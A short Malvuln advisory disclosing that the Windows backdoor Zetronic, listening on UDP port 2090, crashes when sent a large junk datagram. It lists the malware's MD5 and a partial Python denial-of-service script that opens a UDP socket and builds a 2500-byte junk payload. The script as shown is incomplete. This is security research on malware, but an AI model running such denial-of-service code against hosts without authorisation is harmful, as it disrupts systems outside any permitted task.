Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Zetronic  
Vulnerability: Remote DoS   
Description: Zetronic listens on UDP port 2090, sending a large datagram packet of junk results in denial of service of the backdoor.  
Type: PE32  
MD5: caf26a74ca39662e2c3d37e55a242daf  
Vuln ID: MVID-2021-0057  
Disclosure: 01/28/2021  
from socket import *  
def doit():  
s=socket(AF_INET, SOCK_DGRAM)   
s.connect((MALWARE_HOST, PORT))  
DOS="GET /"+"A"*2500  
print("Backdoor.Win32.Zetronic / Remote DoS")  
print("MD5: caf26a74ca39662e2c3d37e55a242daf")  
print("By Malvuln");  
if __name__=="__main__":  
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